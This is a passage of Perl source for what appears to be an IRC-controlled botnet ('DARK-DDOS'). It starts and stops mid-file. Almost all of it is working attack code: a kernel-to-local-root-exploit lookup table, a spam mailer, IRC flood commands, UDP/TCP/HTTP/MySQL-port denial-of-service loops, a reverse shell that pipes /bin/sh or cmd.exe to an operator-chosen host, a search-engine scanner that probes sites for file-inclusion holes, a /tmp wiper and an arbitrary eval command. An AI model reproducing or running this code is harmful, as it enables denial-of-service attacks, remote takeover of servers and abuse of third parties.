  1902.    };
  1903.  
  1904.      
  1905.  
  1906.    $h{'ptrace24'} = {
  1907.  
  1908.       vuln=>['2.4.9']  
  1909.  
  1910.    };
  1911.  
  1912.      
  1913.  
  1914.    $h{'pwned'} = {
  1915.  
  1916.       vuln=>['2.4.','2.6.']  
  1917.  
  1918.    };
  1919.  
  1920.      
  1921.  
  1922.    $h{'py2'} = {
  1923.  
  1924.       vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']  
  1925.  
  1926.    };
  1927.  
  1928.      
  1929.  
  1930.    $h{'raptor_prctl'} = {
  1931.  
  1932.       vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']  
  1933.  
  1934.    };
  1935.  
  1936.      
  1937.  
  1938.    $h{'prctl3'} = {
  1939.  
  1940.       vuln=>['2.6.13','2.6.17','2.6.9']  
  1941.  
  1942.    };
  1943.  
  1944.      
  1945.  
  1946.    $h{'remap'} = {
  1947.  
  1948.       vuln=>['2.4.']  
  1949.  
  1950.    };
  1951.  
  1952.      
  1953.  
  1954.    $h{'rip'} = {
  1955.  
  1956.       vuln=>['2.2.']  
  1957.  
  1958.    };
  1959.  
  1960.      
  1961.  
  1962.    $h{'stackgrow2'} = {
  1963.  
  1964.       vuln=>['2.4.29','2.6.10']  
  1965.  
  1966.    };
  1967.  
  1968.      
  1969.  
  1970.    $h{'uselib24'} = {
  1971.  
  1972.       vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']  
  1973.  
  1974.    };
  1975.  
  1976.      
  1977.  
  1978.    $h{'newsmp'} = {
  1979.  
  1980.       vuln=>['2.6.']  
  1981.  
  1982.    };
  1983.  
  1984.      
  1985.  
  1986.    $h{'smpracer'} = {
  1987.  
  1988.       vuln=>['2.4.29']  
  1989.  
  1990.    };
  1991.  
  1992.      
  1993.  
  1994.    $h{'loginx'} = {
  1995.  
  1996.       vuln=>['2.4.22']  
  1997.  
  1998.    };
  1999.  
  2000.      
  2001.  
  2002.    $h{'exp.sh'} = {
  2003.  
  2004.       vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']  
  2005.  
  2006.    };
  2007.  
  2008.      
  2009.  
  2010.    $h{'prctl'} = {
  2011.  
  2012.       vuln=>['2.6.']  
  2013.  
  2014.    };
  2015.  
  2016.      
  2017.  
  2018.    $h{'kmdx'} = {
  2019.  
  2020.       vuln=>['2.6.','2.4.']  
  2021.  
  2022.    };
  2023.  
  2024.      
  2025.  
  2026.    $h{'raptor'} = {
  2027.  
  2028.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']  
  2029.  
  2030.    };
  2031.  
  2032.      
  2033.  
  2034.    $h{'raptor2'} = {
  2035.  
  2036.       vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']  
  2037.  
  2038.    };
  2039.  
  2040.      
  2041.  
  2042. foreach my $key(keys %h){
  2043.  
  2044. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){  
  2045.  
  2046.    if($khost=~/^$kernel/){
  2047.  
  2048.    chop($kernel) if ($kernel=~/.$/);
  2049.  
  2050.    sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  2051.  
  2052.       }
  2053.  
  2054.    }
  2055.  
  2056. }
  2057.  
  2058. }
  2059.  
  2060. ######################
  2061.  
  2062. #       MAILER       #  
  2063.  
  2064. ######################
  2065.  
  2066. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  2067.  
  2068. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]  Mailer :. |  Sending Mail to : 2 $3");
  2069.  
  2070. $subject = $1;
  2071.  
  2072. $sender = $2;
  2073.  
  2074. $recipient = $3;
  2075.  
  2076. @corpo = $4;
  2077.  
  2078. $mailtype = "content-type: text/html";
  2079.  
  2080. $sendmail = '/usr/sbin/sendmail';
  2081.  
  2082. open (SENDMAIL, "| $sendmail -t");
  2083.  
  2084. print SENDMAIL "$mailtype\n";
  2085.  
  2086. print SENDMAIL "Subject: $subject\n";
  2087.  
  2088. print SENDMAIL "From: $sender\n";
  2089.  
  2090. print SENDMAIL "To: $recipient\n\n";
  2091.  
  2092. print SENDMAIL "@corpo\n\n";
  2093.  
  2094. close (SENDMAIL);
  2095.  
  2096. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12]   Mailer :. |  Mail Sent To : 2 $recipient");
  2097.  
  2098. }
  2099.  
  2100. ######################
  2101.  
  2102. #   End of MAILER    #  
  2103.  
  2104. ######################
  2105.  
  2106. # A /tmp cleaner
  2107.  
  2108.  
  2109.  
  2110. if ($funcarg =~ /^cleartmp/) {  
  2111.  
  2112. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  2113.  
  2114. }
  2115.  
  2116. if ($funcarg =~ /^no/) {  
  2117.  
  2118.     system 'cd /tmp;rm -rf *';
  2119.  
  2120.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  2121.  
  2122.          }
  2123.  
  2124. #-#-#-#-#-#-#-#-#
  2125.  
  2126. # Flooders IRC  #
  2127.  
  2128. #-#-#-#-#-#-#-#-#          
  2129.  
  2130. # msg, @msgflood <who>
  2131.  
  2132. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  2133.  
  2134.    for($i=0; $i<=10; $i+=1){
  2135.  
  2136.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  2137.  
  2138.    }
  2139.  
  2140.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  2141.  
  2142. }
  2143.  
  2144.            
  2145.  
  2146. # dccflood, @dccflood <who>
  2147.  
  2148. if ($funcarg =~ /^dccflood (.*)/) {
  2149.  
  2150.    for($i=0; $i<=10; $i+=1){
  2151.  
  2152.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  2153.  
  2154.    }
  2155.  
  2156.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  2157.  
  2158. }      
  2159.  
  2160. # ctcpflood, @ctcpflood <who>
  2161.  
  2162. if ($funcarg =~ /^ctcpflood (.*)/) {
  2163.  
  2164.    for($i=0; $i<=10; $i+=1){
  2165.  
  2166.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  2167.  
  2168.       sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  2169.  
  2170.    }
  2171.  
  2172.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  2173.  
  2174. }      
  2175.  
  2176. # noticeflood, @noticeflood <who>
  2177.  
  2178.    if ($funcarg =~ /^noticeflood (.*)/) {
  2179.  
  2180.       for($i=0; $i<=10; $i+=1){
  2181.  
  2182.          sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  2183.  
  2184.    }
  2185.  
  2186.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  2187.  
  2188. }      
  2189.  
  2190. # Channel Flood, @channelflood
  2191.  
  2192. if ($funcarg =~ /^channelflood/) {
  2193.  
  2194.    for($i=0; $i<=25; $i+=1){  
  2195.  
  2196.       sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  2197.  
  2198.    }
  2199.  
  2200.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  2201.  
  2202. }
  2203.  
  2204. # Maxi Flood, @maxiflood
  2205.  
  2206. if ($funcarg =~ /^maxiflood(.*)/) {
  2207.  
  2208.    for($i=0; $i<=15; $i+=1){
  2209.  
  2210.          sendraw($IRC_cur_socket, "NOTICE ".$1." :Iyzan_Loves_you,_;)\n");
  2211.  
  2212.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  2213.  
  2214.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  2215.  
  2216.          sendraw($IRC_cur_socket, "PRIVMSG ".$1." :Iyzan_Loves_you,_;\n");          
  2217.  
  2218.    }
  2219.  
  2220.       sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  2221.  
  2222. }
  2223.  
  2224. ######################
  2225.  
  2226. #  irc    #
  2227.  
  2228. ######################
  2229.  
  2230.          if ($funcarg =~ /^reset/) {
  2231.  
  2232.             sendraw($IRC_cur_socket, "QUIT :");
  2233.  
  2234.          }
  2235.  
  2236.          if ($funcarg =~ /^join (.*)/) {
  2237.  
  2238.             sendraw($IRC_cur_socket, "JOIN ".$1);
  2239.  
  2240.          }
  2241.  
  2242.          if ($funcarg =~ /^part (.*)/) {
  2243.  
  2244.             sendraw($IRC_cur_socket, "PART ".$1);
  2245.  
  2246.          }
  2247.  
  2248.          if ($funcarg =~ /^voice (.*)/) {  
  2249.  
  2250.             sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  2251.  
  2252.            }
  2253.  
  2254.          if ($funcarg =~ /^devoice (.*)/) {  
  2255.  
  2256.             sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  2257.  
  2258.            }
  2259.  
  2260.          if ($funcarg =~ /^halfop (.*)/) {  
  2261.  
  2262.             sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  2263.  
  2264.            }
  2265.  
  2266.          if ($funcarg =~ /^dehalfop (.*)/) {  
  2267.  
  2268.             sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  2269.  
  2270.            }
  2271.  
  2272.          if ($funcarg =~ /^owner (.*)/) {  
  2273.  
  2274.             sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  2275.  
  2276.            }
  2277.  
  2278.          if ($funcarg =~ /^deowner (.*)/) {  
  2279.  
  2280.             sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  2281.  
  2282.          }
  2283.  
  2284.          if ($funcarg =~ /^op (.*)/) {  
  2285.  
  2286.             sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  2287.  
  2288.            }          
  2289.  
  2290.          if ($funcarg =~ /^deop (.*)/) {  
  2291.  
  2292.             sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  2293.  
  2294.            }
  2295.  
  2296. ######################
  2297.  
  2298. #End of Join And Part#
  2299.  
  2300. ######################
  2301.  
  2302.  
  2303.  
  2304. ######################
  2305.  
  2306. #     UDPFlood       #
  2307.  
  2308. ######################
  2309.  
  2310. if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  2311.  
  2312.            sendraw($IRC_cur_socket, "PRIVMSG $printl :13[4@3UDP][DARK-DDOS][PERL][A13] [UDP][DARK-DDOS][PERL][A]DARK-DDOS a inceput sa atace;4 ".$1.":".$2." 13PE 4 ".$3." 13SECUNDE.");
  2313.  
  2314.            $iaddr = inet_aton("$1") or die "Fuck wrong ip";
  2315.  
  2316.            $endtime = time() + ($3 ? $3 : 1000000);
  2317.  
  2318.            socket(flood, PF_INET, SOCK_DGRAM, 17);
  2319.  
  2320.            $port = "80";
  2321.  
  2322.            for (;time() <= $endtime;) {
  2323.  
  2324.            $2 = $2 ? $2 : int(rand(1024-64)+64) ;
  2325.  
  2326.            $port = $port ? $port : int(rand(65500))+1;
  2327.  
  2328.            send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($2, $iaddr));}
  2329.  
  2330.            sendraw($IRC_cur_socket,"PRIVMSG $printl :13[4@3UDP][DARK-DDOS][PERL][Af13] Atacul s-a terminat #DARK-DDOS 4 ".$1.":".$2.".");
  2331.  
  2332.   }
  2333.  
  2334. ######################
  2335.  
  2336. #     TCPFlood       #
  2337.  
  2338. ######################
  2339.  
  2340.  
  2341.  
  2342.          if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  2343.  
  2344.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  2345.  
  2346.             my $itime = time;
  2347.  
  2348.             my ($cur_time);
  2349.  
  2350.             $cur_time = time - $itime;
  2351.  
  2352.             while ($3>$cur_time){
  2353.  
  2354.                $cur_time = time - $itime;
  2355.  
  2356.                &tcpflooder("$1","$2","$3");
  2357.  
  2358.             }
  2359.  
  2360.             sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  2361.  
  2362.          }
  2363.  
  2364. ######################
  2365.  
  2366. #  End of TCPFlood   #
  2367.  
  2368. ######################
  2369.  
  2370. ######################
  2371.  
  2372. #               SQL Fl00dEr                     #
  2373.  
  2374. ######################
  2375.  
  2376. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  2377.  
  2378. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  2379.  
  2380. my $itime = time;
  2381.  
  2382. my ($cur_time);
  2383.  
  2384. $cur_time = time - $itime;
  2385.  
  2386. while ($2>$cur_time){
  2387.  
  2388. $cur_time = time - $itime;
  2389.  
  2390.    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  2391.  
  2392.    print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  2393.  
  2394. close($socket);
  2395.  
  2396. }
  2397.  
  2398. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  2399.  
  2400. }
  2401.  
  2402. ######################
  2403.  
  2404. #   Back Connect     #
  2405.  
  2406.  
  2407.  
  2408. ######################
  2409.  
  2410.          if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  2411.  
  2412.          sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12]:::...  I don't know, I'm watching a show tho");
  2413.  
  2414.            
  2415.  
  2416.          }
  2417.  
  2418.          if ($funcarg =~ /^shhcon\s+(.*)\s+(\d+)/) {
  2419.  
  2420.             my $host = "$1";
  2421.  
  2422.             my $porta = "$2";
  2423.  
  2424.             my $proto = getprotobyname('tcp');
  2425.  
  2426.             my $iaddr = inet_aton($host);
  2427.  
  2428.             my $paddr = sockaddr_in($porta, $iaddr);
  2429.  
  2430.             my $zr = "/bin/sh -i";
  2431.  
  2432.             if ($^O eq "MSWin32") {
  2433.  
  2434.                $zr = "cmd.exe";
  2435.  
  2436.             }
  2437.  
  2438.             socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  2439.  
  2440.             connect(SOCKET, $paddr) or die "connect: $!";
  2441.  
  2442.             open(STDIN, ">&SOCKET");
  2443.  
  2444.             open(STDOUT, ">&SOCKET");
  2445.  
  2446.             open(STDERR, ">&SOCKET");
  2447.  
  2448.             system("$zr");
  2449.  
  2450.             close(STDIN);
  2451.  
  2452.             close(STDOUT);
  2453.  
  2454.             close(STDERR);
  2455.  
  2456.             if ($estatisticas){
  2457.  
  2458.                sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  2459.  
  2460.             }
  2461.  
  2462.          }
  2463.  
  2464. ######################
  2465.  
  2466. #End of  Back Connect#
  2467.  
  2468. ######################
  2469.  
  2470. ######################
  2471.  
  2472. #    MULTI SCANNER   #
  2473.  
  2474. ######################
  2475.  
  2476. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  2477.  
  2478. if (my $pid = fork) {
  2479.  
  2480. waitpid($pid, 0);
  2481.  
  2482. } else {
  2483.  
  2484. if (fork) {
  2485.  
  2486. exit;
  2487.  
  2488. } else {
  2489.  
  2490. my $bug=$1;
  2491.  
  2492. my $dork=$2;
  2493.  
  2494. my $contatore=0;
  2495.  
  2496.                   my ($type,$space);
  2497.  
  2498.                   my %hosts;
  2499.  
  2500.                   ### Start Message
  2501.  
  2502.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  2503.  
  2504.                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  2505.  
  2506.                   ### End of Start Message
  2507.  
  2508. # Starting Google
  2509.  
  2510.    my @glist=&google($dork);
  2511.  
  2512. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  2513.  
  2514.    my @mlist=&msn($dork);
  2515.  
  2516.    my @asklist=&ask($dork);
  2517.  
  2518.    my @allist=&alltheweb($dork);
  2519.  
  2520.    my @aollist=&aol($dork);
  2521.  
  2522.    my @lycos=&lycos($dork);
  2523.  
  2524.    my @ylist=&yahoo($dork);
  2525.  
  2526.    my @mzlist=&mozbot($dork);
  2527.  
  2528.    my @mamalist&mamma($dork);
  2529.  
  2530.    my @hlist=&hotbot($dork);
  2531.  
  2532.    my @altlist=&altavista($dork);
  2533.  
  2534.    my @slist=&search($dork);
  2535.  
  2536.    my @ulist=&uol($dork);
  2537.  
  2538.    my @fireball=&fireball($dork);
  2539.  
  2540. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  2541.  
  2542. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  2543.  
  2544. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  2545.  
  2546. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  2547.  
  2548. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  2549.  
  2550. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  2551.  
  2552. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  2553.  
  2554. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  2555.  
  2556. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  2557.  
  2558. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  2559.  
  2560. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  2561.  
  2562. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  2563.  
  2564. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  2565.  
  2566. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  2567.  
  2568. #
  2569.  
  2570. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  2571.  
  2572. my @puliti=&unici(@tot);
  2573.  
  2574. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  2575.  
  2576. my $uni=scalar(@puliti);
  2577.  
  2578. foreach my $sito (@puliti)
  2579.  
  2580. {
  2581.  
  2582. $contatore++;
  2583.  
  2584. if ($contatore %100==0){
  2585.  
  2586. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting  7[".$contatore."7]  of  7[".$uni. "7] Sites");
  2587.  
  2588. }
  2589.  
  2590. if ($contatore==$uni-1){
  2591.  
  2592. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for  $dork");
  2593.  
  2594. }
  2595.  
  2596. ### Print CMD and TEST CMD###
  2597.  
  2598. my $test="http://".$sito.$bug.$id."?";
  2599.  
  2600. my $print="http://".$sito.$bug.$cmd."?";
  2601.  
  2602. ### End of Print CMD and TEST CMD###
  2603.  
  2604. my $req=HTTP::Request->new(GET=>$test);
  2605.  
  2606. my $ua=LWP::UserAgent->new();
  2607.  
  2608. $ua->timeout(4);
  2609.  
  2610. my $response=$ua->request($req);
  2611.  
  2612. if ($response->is_success) {
  2613.  
  2614. my $re=$response->content;
  2615.  
  2616. if($re =~ /Mic22/ && $re =~ /uid=/){
  2617.  
  2618. my $hs=geths($print); $hosts{$hs}++;
  2619.  
  2620. if($hosts{$hs}=="1"){
  2621.  
  2622. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode = OFF :. | Vuln:  $print ");
  2623.  
  2624. }}
  2625.  
  2626. elsif($re =~ /Mic22/)
  2627.  
  2628. {
  2629.  
  2630. my $hs=geths($print); $hosts{$hs}++;
  2631.  
  2632. if($hosts{$hs}=="1"){
  2633.  
  2634. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12]  Safe Mode =  ON :. | Vuln:  $print  ");
  2635.  
  2636. }}
  2637.  
  2638. }}}
  2639.  
  2640. exit;
  2641.  
  2642. }}}
  2643.  
  2644. ######################
  2645.  
  2646. #End of MultiSCANNER #
  2647.  
  2648. ######################
  2649.  
  2650. ######################
  2651.  
  2652. #     HTTPFlood      #
  2653.  
  2654. ######################
  2655.  
  2656.          if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  2657.  
  2658.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP FLOOD 12:.4|12 Ataca 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  2659.  
  2660.             my $itime = time;
  2661.  
  2662.             my ($cur_time);
  2663.  
  2664.             $cur_time = time - $itime;
  2665.  
  2666.             while ($2>$cur_time){
  2667.  
  2668.                $cur_time = time - $itime;
  2669.  
  2670.                my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  2671.  
  2672.                print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  2673.  
  2674.                close($socket);
  2675.  
  2676.             }
  2677.  
  2678.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  2679.  
  2680.          }
  2681.  
  2682. ######################
  2683.  
  2684. #  End of HTTPFlood  #
  2685.  
  2686. ######################
  2687.  
  2688. ######################
  2689.  
  2690. #     UDPFlood       #
  2691.  
  2692. ######################
  2693.  
  2694.          if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  2695.  
  2696.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3[UDP][DARK-DDOS][PERL][A]12:.4|12 [DARK-DDOS #PERL] Ataca 4 ".$1." 12 CU 4 ".$2." 12 Kb PACHETE PE 4 ".$3." 12 SECUNDE.");
  2697.  
  2698.             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  2699.  
  2700.             $dtime = 1 if $dtime == 0;
  2701.  
  2702.             my %bytes;
  2703.  
  2704.             $bytes{igmp} = $2 * $pacotes{igmp};
  2705.  
  2706.             $bytes{icmp} = $2 * $pacotes{icmp};
  2707.  
  2708.             $bytes{o} = $2 * $pacotes{o};
  2709.  
  2710.             $bytes{udp} = $2 * $pacotes{udp};
  2711.  
  2712.             $bytes{tcp} = $2 * $pacotes{tcp};
  2713.  
  2714.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP][DARK-DDOS][PERL][A12]12 12REZULTAT4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12KB IN4 ".$dtime." 12SECUNDE PE4 ".$1.".");
  2715.  
  2716.          }
  2717.  
  2718. ######################
  2719.  
  2720. #  End of Udpflood   #
  2721.  
  2722. ######################
  2723.  
  2724.          exit;
  2725.  
  2726.       }
  2727.  
  2728.    }
  2729.  
  2730.  
  2731.  
  2732. sub ircase {
  2733.  
  2734.    my ($kem, $printl, $case) = @_;
  2735.  
  2736.    if ($case =~ /^join (.*)/) {
  2737.  
  2738.       j("$1");
  2739.  
  2740.    }
  2741.  
  2742.    if ($case =~ /^part (.*)/) {
  2743.  
  2744.       p("$1");
  2745.  
  2746.    }
  2747.  
  2748.    if ($case =~ /^rejoin\s+(.*)/) {
  2749.  
  2750.       my $chan = $1;
  2751.  
  2752.       if ($chan =~ /^(\d+) (.*)/) {
  2753.  
  2754.          for (my $ca = 1; $ca <= $1; $ca++ ) {
  2755.  
  2756.             p("$2");
  2757.  
  2758.             j("$2");
  2759.  
  2760.          }
  2761.  
  2762.       } else {
  2763.  
  2764.          p("$chan");
  2765.  
  2766.          j("$chan");
  2767.  
  2768.       }
  2769.  
  2770.    }
  2771.  
  2772.  
  2773.  
  2774.    if ($case =~ /^op/) {
  2775.  
  2776.       op("$printl", "$kem") if $case eq "op";
  2777.  
  2778.       my $oarg = substr($case, 3);
  2779.  
  2780.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  2781.  
  2782.    }
  2783.  
  2784.  
  2785.  
  2786.    if ($case =~ /^deop/) {
  2787.  
  2788.       deop("$printl", "$kem") if $case eq "deop";
  2789.  
  2790.       my $oarg = substr($case, 5);
  2791.  
  2792.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  2793.  
  2794.    }
  2795.  
  2796.  
  2797.  
  2798.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  2799.  
  2800.       msg("$1", "$2");
  2801.  
  2802.    }
  2803.  
  2804.  
  2805.  
  2806.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  2807.  
  2808.       for (my $cf = 1; $cf <= $1; $cf++) {
  2809.  
  2810.          msg("$2", "$3");
  2811.  
  2812.       }
  2813.  
  2814.    }
  2815.  
  2816.  
  2817.  
  2818.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  2819.  
  2820.       ctcp("$1", "$2");
  2821.  
  2822.    }
  2823.  
  2824.  
  2825.  
  2826.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  2827.  
  2828.       for (my $cf = 1; $cf <= $1; $cf++) {
  2829.  
  2830.          ctcp("$2", "$3");
  2831.  
  2832.       }
  2833.  
  2834.    }
  2835.  
  2836.  
  2837.  
  2838.    if ($case =~ /^nick (.*)/) {
  2839.  
  2840.       nick("$1");
  2841.  
  2842.    }
  2843.  
  2844.  
  2845.  
  2846.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  2847.  
  2848.       conectar("$2", "$1", 6667);
  2849.  
  2850.    }
  2851.  
  2852.  
  2853.  
  2854.    if ($case =~ /^raw (.*)/) {
  2855.  
  2856.       sendraw("$1");
  2857.  
  2858.    }
  2859.  
  2860.  
  2861.  
  2862.    if ($case =~ /^eval (.*)/) {
  2863.  
  2864.       eval "$1";
  2865.  
  2866.    }
  2867.  
  2868. }
  2869.  
  2870.  
  2871.  
  2872. sub get_html() {
  2873.  
  2874. $test=$_[0];
  2875.  
  2876.  
  2877.  
  2878.       $ip=$_[1];
  2879.  
  2880.       $port=$_[2];
  2881.  
  2882.  
  2883.  
  2884. my $req=HTTP::Request->new(GET=>$test);
  2885.  
  2886. my $ua=LWP::UserAgent->new();
  2887.  
  2888. if(defined($ip) && defined($port)) {
  2889.  
  2890.       $ua->proxy("http","http://$ip:$port/");
  2891.  
  2892.       $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  2893.  
  2894. }
  2895.  
  2896. $ua->timeout(1);
  2897.  
  2898. my $response=$ua->request($req);
  2899.  
  2900. if ($response->is_success) {
  2901.  
  2902.    $re=$response->content;
  2903.  
  2904. }
  2905.  
  2906. return $re;
  2907.  
  2908. }
  2909.  
  2910.  
  2911.  
  2912. sub addproc {
  2913.  
  2914.  
  2915.  
  2916.    my $proc=$_[0];
  2917.  
  2918.    my $dork=$_[1];
  2919.  
  2920.      
  2921.  
  2922.    open(FILE,">>/var/tmp/pids");
  2923.  
  2924.    print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  2925.  
  2926.    close(FILE);
  2927.  
  2928. }
  2929.  
  2930.  
  2931.  
  2932.  
  2933.  
  2934. sub delproc {
  2935.  
  2936.  
  2937.  
  2938.    my $proc=$_[0];
  2939.  
  2940.    open(FILE,"/var/tmp/pids");
  2941.  
  2942.  
  2943.  
  2944.    while(<FILE>) {
  2945.  
  2946.       $_ =~ /(\d+)\s+(.*)/;
  2947.  
  2948.       $childs{$1}=$2;
  2949.  
  2950.    }
  2951.  
  2952.    close(FILE);
  2953.  
  2954.    delete($childs{$proc});
  2955.  
  2956.  
  2957.  
  2958.    open(FILE,">/var/tmp/pids");
  2959.  
  2960.  
  2961.  
